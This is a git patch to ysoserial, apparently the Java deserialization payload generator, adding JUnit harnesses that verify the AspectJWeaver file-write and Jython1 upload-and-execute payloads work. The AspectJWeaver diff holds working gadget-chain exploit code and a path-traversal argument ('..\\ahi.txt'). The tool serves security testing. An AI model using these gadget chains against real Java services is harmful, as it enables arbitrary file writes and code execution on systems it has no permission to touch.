From ce78f7301f03c8b7236a504b1b57087230e3add8 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Sat, 7 May 2022 13:46:43 -0700 Subject: [PATCH] adding test harnesses --- src/main/java/ysoserial/Strings.java | 9 ++-- .../ysoserial/payloads/AspectJWeaver.java | 10 +++-- src/main/java/ysoserial/payloads/Jython1.java | 2 +- .../test/payloads/PythonUploadExecTest.java | 45 +++++++++++++++++++ .../test/payloads/SimpleFileWriteTest.java | 39 ++++++++++++++++ src/test/java/ysoserial/test/util/Files.java | 11 +++++ 6 files changed, 107 insertions(+), 9 deletions(-) create mode 100644 src/test/java/ysoserial/test/payloads/PythonUploadExecTest.java create mode 100644 src/test/java/ysoserial/test/payloads/SimpleFileWriteTest.java diff --git a/src/main/java/ysoserial/Strings.java b/src/main/java/ysoserial/Strings.java index 84c2197..861114f 100644 --- a/src/main/java/ysoserial/Strings.java +++ b/src/main/java/ysoserial/Strings.java @@ -2,10 +2,7 @@ package ysoserial; import org.apache.commons.lang.StringUtils; -import java.util.Arrays; -import java.util.Comparator; -import java.util.LinkedList; -import java.util.List; +import java.util.*; public class Strings { public static String join(Iterable strings, String sep, String prefix, String suffix) { @@ -49,6 +46,10 @@ public class Strings { return lines; } + public static String randUUID() { + return UUID.randomUUID().toString().replaceAll("-", ""); + } + public static class ToStringComparator implements Comparator { public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } } diff --git a/src/main/java/ysoserial/payloads/AspectJWeaver.java b/src/main/java/ysoserial/payloads/AspectJWeaver.java index 14dcb15..1a73087 100644 --- a/src/main/java/ysoserial/payloads/AspectJWeaver.java +++ b/src/main/java/ysoserial/payloads/AspectJWeaver.java @@ -11,6 +11,7 @@ import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; +import java.io.File; import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; @@ -38,7 +39,7 @@ java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ==" More information: https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 */ -@PayloadTest(skip="non RCE") +@PayloadTest(harness="ysoserial.test.payloads.SimpleFileWriteTest") @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Authors({ Authors.JANG }) @@ -52,13 +53,14 @@ public class AspectJWeaver implements ObjectPayload { } String[] parts = command.split(";"); String filename = parts[0]; + File file = new File(filename); byte[] content = Base64.decodeBase64(parts[1]); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); - Object simpleCache = ctor.newInstance(".", 12); + Object simpleCache = ctor.newInstance(file.getParent().toString(), 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); - TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + TiedMapEntry entry = new TiedMapEntry(lazyMap, file.getName()); HashSet map = new HashSet(1); map.add("foo"); Field f = null; @@ -101,7 +103,7 @@ public class AspectJWeaver implements ObjectPayload { } public static void main(String[] args) throws Exception { - args = new String[]{"ahi.txt;YWhpaGloaQ=="}; + args = new String[]{"..\\ahi.txt;YWhpaGloaQ=="}; PayloadRunner.run(AspectJWeaver.class, args); } } diff --git a/src/main/java/ysoserial/payloads/Jython1.java b/src/main/java/ysoserial/payloads/Jython1.java index 26c1d5c..7e9fb45 100644 --- a/src/main/java/ysoserial/payloads/Jython1.java +++ b/src/main/java/ysoserial/payloads/Jython1.java @@ -39,7 +39,7 @@ import ysoserial.payloads.util.PayloadRunner; * exception information). */ -@PayloadTest(skip="non RCE") +@PayloadTest(harness="ysoserial.test.payloads.PythonUploadExecTest") @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @Dependencies({ "org.python:jython-standalone:2.5.2" }) @Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 }) diff --git a/src/test/java/ysoserial/test/payloads/PythonUploadExecTest.java b/src/test/java/ysoserial/test/payloads/PythonUploadExecTest.java new file mode 100644 index 0000000..e93b6bf --- /dev/null +++ b/src/test/java/ysoserial/test/payloads/PythonUploadExecTest.java @@ -0,0 +1,45 @@ +package ysoserial.test.payloads; + +import org.junit.Assert; +import ysoserial.Strings; +import ysoserial.test.CustomTest; +import ysoserial.test.util.Files; +import ysoserial.test.util.OS; + +import java.io.File; +import java.util.concurrent.Callable; + +public class PythonUploadExecTest implements CustomTest { + private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID()); + private final File srcPyFile = new File(OS.getTmpDir(), "ysoserial-test-src-" + Strings.randUUID() + ".py"); + private final File dstPyFile = new File(OS.getTmpDir(), "ysoserial-test-dst-" + Strings.randUUID() + ".py"); + private final String testCode = "open('" + testFile + "','w').close()"; + + { + Files.writeFile(srcPyFile, testCode); + } + + @Override + public void run(Callable payload) throws Exception { + Assert.assertTrue("test src file should exist", srcPyFile.exists()); + + Assert.assertFalse("test file should not exist", testFile.exists()); + try { + payload.call(); + } catch (Exception e) { + e.printStackTrace(); + } + Files.waitForFile(testFile, 5000); + Assert.assertTrue("test dst file should exist", dstPyFile.exists()); + Assert.assertTrue("test file should exist", testFile.exists()); + testFile.deleteOnExit(); + srcPyFile.deleteOnExit(); + dstPyFile.deleteOnExit(); + } + + @Override + public String getPayloadArgs() { + return srcPyFile + ";" + dstPyFile; + } + +} diff --git a/src/test/java/ysoserial/test/payloads/SimpleFileWriteTest.java b/src/test/java/ysoserial/test/payloads/SimpleFileWriteTest.java new file mode 100644 index 0000000..3329260 --- /dev/null +++ b/src/test/java/ysoserial/test/payloads/SimpleFileWriteTest.java @@ -0,0 +1,39 @@ +package ysoserial.test.payloads; + +import org.apache.commons.codec.binary.Base64; +import org.junit.Assert; +import ysoserial.Strings; +import ysoserial.test.CustomTest; +import ysoserial.test.util.Files; +import ysoserial.test.util.OS; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileReader; +import java.util.concurrent.Callable; + +public class SimpleFileWriteTest implements CustomTest { + private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID()); + private final String testContent = Strings.randUUID(); + + @Override + public void run(Callable payload) throws Exception { + Assert.assertFalse("test file should not exist", testFile.exists()); + try { + payload.call(); + } catch (Exception e) { + e.printStackTrace(); + } + Files.waitForFile(testFile, 5000); + Assert.assertTrue("test file should exist", testFile.exists()); + String testFileContent = new BufferedReader(new FileReader(testFile)).readLine(); + Assert.assertEquals(testContent.trim(), testFileContent.trim()); + testFile.deleteOnExit(); + } + + @Override + public String getPayloadArgs() { + return testFile.toString() + ";" + Base64.encodeBase64String(testContent.getBytes()); + } + +} diff --git a/src/test/java/ysoserial/test/util/Files.java b/src/test/java/ysoserial/test/util/Files.java index b1b44f0..7bbe67e 100644 --- a/src/test/java/ysoserial/test/util/Files.java +++ b/src/test/java/ysoserial/test/util/Files.java @@ -1,6 +1,7 @@ package ysoserial.test.util; import java.io.File; +import java.io.PrintWriter; public class Files { public static void waitForFile(File file, int timeoutMs) throws InterruptedException { @@ -9,4 +10,14 @@ public class Files { Thread.sleep(10); } } + + public static void writeFile(File file, String content) { + try { + PrintWriter writer = new PrintWriter(file, "UTF-8"); + writer.println(content); + writer.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } }